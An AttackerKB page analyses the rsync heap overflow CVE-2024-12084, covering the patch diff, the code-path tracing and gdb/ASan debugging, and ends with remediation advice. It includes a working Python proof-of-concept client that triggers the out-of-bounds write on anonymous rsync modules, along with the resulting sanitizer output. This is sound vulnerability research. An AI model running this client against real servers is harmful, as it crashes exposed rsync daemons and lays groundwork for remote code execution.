High
CVE-2024-12084
CVE ID
AttackerKB requires a CVE ID in order to pull vulnerability data and references from the CVE list and the National Vulnerability Database. If available, please supply below:
Add References:
High
(1 user assessed)Moderate
(1 user assessed)Unknown
Unknown
Unknown
CVE-2024-12084
MITRE ATT&CK
Collection
Command and Control
Credential Access
Defense Evasion
Discovery
Execution
Exfiltration
Impact
Initial Access
Lateral Movement
Persistence
Privilege Escalation
Topic Tags
Description
A heap-based buffer overflow flaw was found in the rsync daemon. This issue is due to improper handling of attacker-controlled checksum lengths (s2length) in the code. When MAX_DIGEST_LEN exceeds the fixed SUM_LENGTH (16 bytes), an attacker can write out of bounds in the sum2 buffer.
Add Assessment
Ratings
-
Attacker ValueHigh
-
ExploitabilityMedium
Technical Analysis
Based upon writing a technical analysis of this vuln, I have rated the exploitability as Medium, as exploitation of this heap based overflow is limited and will take further work to develop into a full RCE. I have rated the attacker value as High, as rsync is a widely used file transfer/backup application and the vulnerability can be exploited without authentication in some configurations.
Note: a recent Google analysis states that chaining this issue with CVE-2024-12085 (an info leak), allows an attacker to defeat ASLR and hence increases the exploitability of this issue.
Would you also like to delete your Exploited in the Wild Report?
Delete Assessment Only Delete Assessment and Exploited in the Wild ReportCVSS V3 Severity and Metrics
General Information
References
Additional Info
Technical Analysis
Overview
On January 14, 2025, 6 vulnerabilities within rsync were disclosed via the oss-security mailing list. Of the 6 vulnerabilities, the most severe was a heap-based buffer overflow, CVE-2024-12084, which has been present since version 3.2.7 of rsync was released in October 2022. An attacker can leverage this vulnerability to arbitrarily write 48 bytes outside the bounds of the sum2 buffer into adjacent heap memory, with the potential to trigger remote code execution. If the targeted rsync module is configured for read-only access, this issue can be exploited by unauthenticated anonymous clients; otherwise, authentication is required. CVE-2024-12084 and the other 5 vulnerabilities announced in January 2025 were fixed in version 3.4.0 of rsync.
A Shodan search for rsync default port 873 shows 850,036 exposed rsync servers. There has been no known exploitation of this vulnerability in the wild as of February 20, 2025.
Analysis
Patch review
The description of the vulnerability in the advisory gave us some clues as to what to focus on when looking at the changes between the vulnerable and fixed versions, which was useful as there were 5 other vulnerabilities fixed in the same release:
“A heap-based buffer overflow flaw was found in the rsync daemon. This issue is due to improper handling of attacker-controlled checksum lengths (
s2length
) in the code. WhenMAX_DIGEST_LEN
exceeds the fixedSUM_LENGTH
(16 bytes), an attacker can write out of bounds in thesum2
buffer.”
So the vulnerability seems to be within rsync’s handling of checksums. Rsync uses MD5 checksums (MD4 for protocol versions before 30) to identify which files should be transferred from the source to the destination. The man page for rsync has more detail.
--checksum, -c This changes the way rsync checks if the files have been changed and are in need of a transfer. Without this option, rsync uses a "quick check" that (by default) checks if each file's size and time of last modification match between the sender and receiver. This option changes this to compare a 128-bit checksum for each file that has a matching size. Generating the checksums means that both sides will expend a lot of disk I/O reading all the data in the files in the transfer, so this can slow things down significantly (and this is prior to any reading that will be done to transfer changed files) ...
Armed with this information, we reviewed the changed code between the 3.3.0 and 3.4.0 versions of rsync. Some code in rsync.h
seemed relevant:
$ diff ~/poc/rsync/rsync-3.3.0/rsync.h ~/poc/rsync/rsync-3.4.0/rsync.h 86a87 > #define FLAG_GOT_DIR_FLIST (1<<5)/* sender/receiver/generator - dir_flist only */ 113c114 < #define PROTOCOL_VERSION 31 --- > #define PROTOCOL_VERSION 32 961d961 < char sum2[SUM_LENGTH]; /**< checksum */ 966a967 > char *sum2_array; /**< checksums of length xfer_sum_len */
Here we can see the sum2
buffer within a sum_buf
struct defined with a length of SUM_LENGTH
, which is also defined in rsync.h
:
#define SUM_LENGTH 16
The fixed version of rsync (on the right in the diff above) has removed sum2
from the sum_buf
struct and created a new array (sum2_array
) in the sum_struct
for handling checksums. This lined up with the advisory and gave us confidence that the sum2
buffer within the sum_buf
struct was the buffer where the overflow was taking place.
Another change in the code that seemed pertinent to the fix was found in the read_sum_head()
function within io.c
:
$ diff ~/poc/rsync/rsync-3.3.0/io.c ~/poc/rsync/rsync-3.4.0/io.c 57a58 > extern int xfer_sum_len; 1980c1981 < if (sum->s2length < 0 || sum->s2length > MAX_DIGEST_LEN) { --- > if (sum->s2length < 0 || sum->s2length > xfer_sum_len) {
We can see in the code snippet above that the sum->s2length
variable is being read from the client socket if the protocol version is greater than or equal to 27. In the vulnerable code, a condition in the if
statement checks that the variable is greater than 0 and less than MAX_DIGEST_LEN (64)
. In the fixed version, this is removed and replaced with comparison of xfer_sum_len
instead.
Considering that the advisory mentioned the s2length
variable in relation to the sum2
buffer (which we know has a length of 16), and that the s2length
variable was entirely controlled by the client, this seemed a likely source of tainted data that could be leveraged to exploit the vulnerability.
Follow the code
Checking for usages of read_sum_head()
in the vulnerable code leads us to the receive_sums()
function within sender.c
:
/** * Receive the checksums for a buffer **/ static struct sum_struct *receive_sums(int f) { struct sum_struct *s = new(struct sum_struct); // sum_struct initialised int lull_mod = protocol_version >= 31 ? 0 : allowed_lull * 5; OFF_T offset = 0; int32 i; read_sum_head(f, s); // sum_struct data from socket (including s2length) // ... if (s->count == 0) // sum_struct->count must be > 0 return(s); s->sums = new_array(struct sum_buf, s->count); for (i = 0; i < s->count; i++) { s->sums[i].sum1 = read_int(f); read_buf(f, s->sums[i].sum2, s->s2length); // s2length tainted
The code snippet shows the sum_struct
being initialised and constructed with data from the client socket, including the s2length
field, in read_sum_head()
. If the count
field in the struct is greater than 0, the flow proceeds into a loop where the read_buf()
function is called with the sum2
buffer and the tainted user-controlled s2length
value. Following the flow into read_buf()
, the buffer and the tainted len variable are passed into raw_read_buf()
, which ultimately ends in a call to memcpy()
, which seemed likely to be the buffer overflow sink.
void read_buf(int f, char *buf, size_t len) { // ... if (!IN_MULTIPLEXED) { raw_read_buf(buf, len); total_data_read += len; if (forward_flist_data) write_buf(iobuf.out_fd, buf, len); batch_copy: if (f == write_batch_monitor_in) safe_write(batch_fd, buf, len); return; } // ... static void raw_read_buf(char *buf, size_t len) { size_t pos = iobuf.in.pos; char *data = perform_io(len, PIO_INPUT_AND_CONSUME); if (iobuf.in.pos <= pos && len) { size_t siz = len - iobuf.in.pos; memcpy(buf, data, siz); memcpy(buf + siz, iobuf.in.buf, iobuf.in.pos); } else memcpy(buf, data, len); }
Dynamic analysis
It was time to get the software running so we could perform some dynamic analysis and confirm the flow of the code using gdb. We had to use a commit after the version 3.3.0 tag — it wasn’t possible to build rsync from the 3.3.0 release due to an issue with the popt library, which was fixed in this pull request.
We added flags to the compiler to disable optimisation and enable the AddressSanitiser:
CFLAGS="-O0 -fsanitize=address -fno-omit-frame-pointer -g" ./configure
Having compiled the software, we created an /etc/rsynd.conf
file to define a read-only file share on the server that could be accessed by anonymous users:
pid file = /var/run/rsyncd.pid lock file = /var/run/rsync.lock log file = /var/log/rsync.log use chroot = false uid = root gid = root [files_anon] path = /home/calum/public_rsync comment = RSYNC FILES read only = true timeout = 300
Using gdb, we set a breakpoint at line 100 of sender.c
to step through the code flow. After stepping into the read_buf()
function, it was clear that the raw_read_buf()
function was not being called because the condition in the if
statement immediately preceding the call (!IN_MULTIPLEXED
) was not satisfied.
(gdb) set follow-fork-mode child (gdb) b sender.c:100 Breakpoint 1 at 0x5b7aedc8174a: file sender.c, line 100. (gdb) c Continuing. Thread 2.1 "rsync" hit Breakpoint 1, receive_sums (f=4) at sender.c:100 100 read_buf(f, s->sums[i].sum2, s->s2length); (gdb) step read_buf (f=4, buf=0x5b7b0cff60a6 "", len=33) at io.c:1889 1889 if (f != iobuf.in_fd) { (gdb) next 1895 if (!IN_MULTIPLEXED) { (gdb) next 1909 while (!iobuf.raw_input_ends_before)
Revisiting the code, the IN_MULTIPLEXED
macro was defined as such:
#define IN_MULTIPLEXED (iobuf.in_multiplexed != 0)
So iobuf.in_multiplexed
must be 0 to satisfy the if statement and reach the vulnerable path. The variable is initialised as 0, but there are a few places in the code that set it to another value, the earliest of which is io_start_multiplex_in()
.
/* Setup for multiplexing a MSG_* stream with the data stream. */ void io_start_multiplex_in(int fd) { if (msgs2stderr == 1 && DEBUG_GTE(IO, 2)) rprintf(FINFO, "[%s] io_start_multiplex_in(%d)\n", who_am_i(), fd); iobuf.in_multiplexed = 1; /* See also IN_MULTIPLEXED */ io_start_buffering_in(fd); }
This function is called in the start_server()
function in main.c
, if need_messages_from_generator
is true.
void start_server(int f_in, int f_out, int argc, char *argv[]) { // ... if (am_sender) { keep_dirlinks = 0; if (need_messages_from_generator) io_start_multiplex_in(f_in); else io_start_buffering_in(f_in); // Vulnerable path recv_filter_list(f_in); do_server_sender(f_in, f_out, argc, argv); } else do_server_recv(f_in, f_out, argc, argv);
The need_messages_from_generator
variable is set in compat.c
, in the setup_protocol()
function, if the protocol version is 30 or greater:
} else if (protocol_version >= 30) { // ... need_messages_from_generator = 1;
So if we could lower the protocol version, it should be possible to avoid need_messages_from_generator
from being set to 1, and hence satisfy the !IN_MULTIPLEXED
condition. As the client can force the protocol version, we tested this theory by changing the rsync client command to the following to force the use of protocol version 29:
./rsync -v -r --links --safe-links --protocol 29 rsync://192.168.178.93/files_anon /tmp/rsync_share/
Using gdb again on the server, we set another breakpoint at line 100 of sender.c
to follow the code flow. This time, the condition was satisfied and the application called raw_read_buf()
, eventually ending in a memcpy()
call as expected!
Thread 2.1 "rsync" hit Breakpoint 1, receive_sums (f=4) at sender.c:100 100 read_buf(f, s->sums[i].sum2, s->s2length); (gdb) s read_buf (f=4, buf=0x6408adcdaf26 "", len=2) at io.c:1889 1889 if (f != iobuf.in_fd) { (gdb) n 1895 if (!IN_MULTIPLEXED) { (gdb) n 1896 raw_read_buf(buf, len); (gdb) s raw_read_buf (buf=0x6408adcdaf26 "", len=2) at io.c:922 922 size_t pos = iobuf.in.pos; (gdb) n 923 char *data = perform_io(len, PIO_INPUT_AND_CONSUME); (gdb) n 924 if (iobuf.in.pos <= pos && len) { (gdb) n 929 memcpy(buf, data, len);
Rsync client
We used Wireshark to capture the TCP stream between the rsync client and server and created a Python script to create a basic rsync client, emulating protocol version 29. With this we were able to send arbitrary s2length
values.
import argparse import socket import struct def get_socket(host, port, timeout=2000): try: s = socket.create_connection((host, port), timeout) s.setsockopt(socket.IPPROTO_TCP, socket.TCP_NODELAY, 1) return s except Exception as e: print('Couldnt connect to the socket: %s' % (e)) return None def req_response(sock, payload, expect_resp=True, do_req=True): len_sent = 0 if do_req: try: len_sent = sock.send(payload) except Exception as e: print('Exception sending payload to socket: %s' % (e)) return # print(f'Sent {len_sent} bytes') if not expect_resp: return len_sent else: bytes_rcvd = bytearray() while True: rcvd = sock.recv(1024) bytes_rcvd.extend(rcvd) if len(rcvd) < 1024: break #print(f'Received {len(bytes_rcvd)} bytes') return bytes_rcvd def write_sum_head(sock, s2length): # count must be > 0 to reach the vuln path count = 1 blength = 700 remainder = 4 print(f'Sending sum_struct request with s2length of {s2length}..') # The following byes precede the sum_struct sum_head_payload = bytearray(b'\x02\x00\x00\x00\x08\x80') sum_struct = struct.Struct('@4i') sum_struct_payload = bytearray(sum_struct.size) sum_struct.pack_into(sum_struct_payload, 0, count, blength, s2length, remainder) # Append the packed sum_struct payload sum_head_payload.extend(sum_struct_payload) # These bytes follow the sum_struct: [12 01 22 03 63 9c ff ff ff ff] sum_head_payload.extend(b'\x12\x01\x22\x03\x63\x9c\xff\xff\xff\xff') if s2length > 2: # Pad the payload sum_head_payload.extend(b'A' * s2length) sum_struct_resp = req_response(sock, sum_head_payload) if not sum_struct_resp: print('Bad response from sum_struct request') return False print(f'sum_struct response: {sum_struct_resp}') return True def main(host, port, s2len): # Protocol emulates v29 s = get_socket(host, port) if not s: print('Could not connect to server') return print('Connected to %s:%d' % (host, port)) print('Sending hello..') # Payload must end in newline hello_resp = req_response(s, b'@RSYNCD: 29.0 sha512 sha256 sha1 md5 md4\n') if not hello_resp or b'@RSYNCD' not in hello_resp: print('Bad response from server initialization') return print(f'Hello response: {hello_resp}') print('Sending module/share request..') # Payload must end in newline mod_resp = req_response(s, b'files_anon\n') if not mod_resp or b'@RSYNCD: OK' not in mod_resp: print('Bad response from module request') return print(f'Module response: {mod_resp}') print('Send --server and --sender args..') req_response(s, b'--server\n', expect_resp=False) # --sender args are separated with newlines sender_payload = bytearray() for arg in (b'--sender\n', b'-vlr\n', b'--safe-links\n'): sender_payload.extend(arg) # Args are followed by a single period char and another newline char before the module path sender_payload.extend(b'.') sender_payload.extend(b'\x0a') sender_payload.extend(b'files_anon/') # Finishing with two newline chars sender_payload.extend(b'\x0a\x0a') args_resp = req_response(s, sender_payload) if not args_resp or b'\x67' not in args_resp: print('Bad response from sending args') return print(f'Args response: {args_resp}') # After a good args response send hex [00 00 00 00] req_response(s, b'\x00\x00\x00\x00') # Second response looks like a remote file listing flist_resp = req_response(s, None, do_req=False) if not flist_resp: print('Bad file list response') return print(f'File list response: {flist_resp}') # Write the sum header! if not write_sum_head(s, s2len): return # Next [ff ff ff ff ff ff ff ff] final_resp = req_response(s, b'\xff\xff\xff\xff\xff\xff\xff\xff') if not final_resp: print('Bad final response') return # Finally sign off with [ff ff ff ff] req_response(s, b'\xff\xff\xff\xff', expect_resp=False) if __name__ == '__main__': print('rsync client [CVE-2024-12084]') ''' Emulates the traffic (observed in Wireshark) for the following command: ./rsync -v -r --links --safe-links --protocol 29 rsync://192.168.178.93/files_anon /tmp/rsync_share/ --len of > 18 and < 65 causes an asan error: AddressSanitizer: heap-buffer-overflow on address 0x5040000017b8 at pc 0x730f9c4fb303 ''' ap = argparse.ArgumentParser() ap.add_argument('--host', type=str, help="Target host", required=True) ap.add_argument('--port', type=int, help="Target port (default 873)", default=873) ap.add_argument('--len', type=int, help="Length of the s2length struct property (default 2)", default=2) args = ap.parse_args() main(args.host, args.port, args.len)
We ran the server with the flag –no-detach
to prevent the child process from being spawned and used the Python client to send an s2length
of 64 with the command:
$ python rscli29.py --host 192.168.178.93 --len 64 rsync client [CVE-2024-12084] Connected to 192.168.178.93:873 Sending hello.. Hello response: bytearray(b'@RSYNCD: 31.0 sha512 sha256 sha1 md5 md4\n') Sending module/share request.. Module response: bytearray(b'@RSYNCD: OK\n') Send --server and --sender args.. Args response: bytearray(b'\xd4%\xf7g') File list response: bytearray(b'=\x00\x00\x07\x19\x01.\x00\x10\x00\x00V\xf0\xadg\xfdA\x00\x00\x1a\x0brsync_share\x00\x10\x00\x000\x11\xaeg\xb8\x0b\t/test.txt\x04\x00\x00\x00\xb4\x81\x00\x00\x00\x00\x00\x00\x00') Sending sum_struct request with s2length of 64.. Bad response from sum_struct request
On the server we observed an AddressSanitizer
error, showing a heap buffer overflow in memcpy()
, confirming that we had been able to reproduce the issue.
==65550==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x5040000017b8 at pc 0x730f9c4fb303 bp 0x7ffd431e1910 sp 0x7ffd431e10b8 WRITE of size 64 at 0x5040000017b8 thread T0 #0 0x730f9c4fb302 in memcpy ../../../../src/libsanitizer/sanitizer_common/sanitizer_common_interceptors_memintrinsics.inc:115 #1 0x5dd5927947af in raw_read_buf /home/calum/git/rsync/io.c:929 #2 0x5dd59279a8cf in read_buf /home/calum/git/rsync/io.c:1896 #3 0x5dd59274a794 in receive_sums /home/calum/git/rsync/sender.c:100 #4 0x5dd59274d2c2 in send_files /home/calum/git/rsync/sender.c:345 #5 0x5dd59276a604 in do_server_sender /home/calum/git/rsync/main.c:960 #6 0x5dd59276c784 in start_server /home/calum/git/rsync/main.c:1259 #7 0x5dd5927e70e0 in rsync_module /home/calum/git/rsync/clientserver.c:1208 #8 0x5dd5927e837a in start_daemon /home/calum/git/rsync/clientserver.c:1395 #9 0x5dd5927b5c57 in start_accept_loop /home/calum/git/rsync/socket.c:608 #10 0x5dd5927e8f6f in daemon_main /home/calum/git/rsync/clientserver.c:1536 #11 0x5dd59276fd3d in main /home/calum/git/rsync/main.c:1823 #12 0x730f9b82a1c9 in __libc_start_call_main ../sysdeps/nptl/libc_start_call_main.h:58 #13 0x730f9b82a28a in __libc_start_main_impl ../csu/libc-start.c:360 #14 0x5dd59270e324 in _start (/home/calum/git/rsync/rsync+0x4d324) (BuildId: 434b90b92dcb94bf2a3d1666ef2a4b92fe06bbf8) 0x5040000017b8 is located 0 bytes after 40-byte region [0x504000001790,0x5040000017b8) allocated by thread T0 here: #0 0x730f9c4fd9c7 in malloc ../../../../src/libsanitizer/asan/asan_malloc_linux.cpp:69 #1 0x5dd592763303 in my_alloc /home/calum/git/rsync/util2.c:83 #2 0x5dd59274a657 in receive_sums /home/calum/git/rsync/sender.c:96 #3 0x5dd59274d2c2 in send_files /home/calum/git/rsync/sender.c:345 #4 0x5dd59276a604 in do_server_sender /home/calum/git/rsync/main.c:960 #5 0x5dd59276c784 in start_server /home/calum/git/rsync/main.c:1259 #6 0x5dd5927e70e0 in rsync_module /home/calum/git/rsync/clientserver.c:1208 #7 0x5dd5927e837a in start_daemon /home/calum/git/rsync/clientserver.c:1395 #8 0x5dd5927b5c57 in start_accept_loop /home/calum/git/rsync/socket.c:608 #9 0x5dd5927e8f6f in daemon_main /home/calum/git/rsync/clientserver.c:1536 #10 0x5dd59276fd3d in main /home/calum/git/rsync/main.c:1823 #11 0x730f9b82a1c9 in __libc_start_call_main ../sysdeps/nptl/libc_start_call_main.h:58 #12 0x730f9b82a28a in __libc_start_main_impl ../csu/libc-start.c:360 #13 0x5dd59270e324 in _start (/home/calum/git/rsync/rsync+0x4d324) (BuildId: 434b90b92dcb94bf2a3d1666ef2a4b92fe06bbf8) SUMMARY: AddressSanitizer: heap-buffer-overflow ../../../../src/libsanitizer/sanitizer_common/sanitizer_common_interceptors_memintrinsics.inc:115 in memcpy
We have confirmed that version 3.4.0 of rsync remediates the vulnerability, as the proof of concept fails when testing against 3.4.0 and the server logs the following:
2025/02/20 11:04:59 [69202] building file list 2025/02/20 11:04:59 [69202] Invalid checksum length 64 [sender]
Remediation
CVE-2024-12084 has been resolved in version 3.4.0 of rsync. Organizations should update to the latest version when practical and refrain from exposing rsync servers to the public internet wherever possible.
Report as Emergent Threat Response
Report as Zero-day Exploit
Report as Exploited in the Wild
CVE ID
AttackerKB requires a CVE ID in order to pull vulnerability data and references from the CVE list and the National Vulnerability Database. If available, please supply below: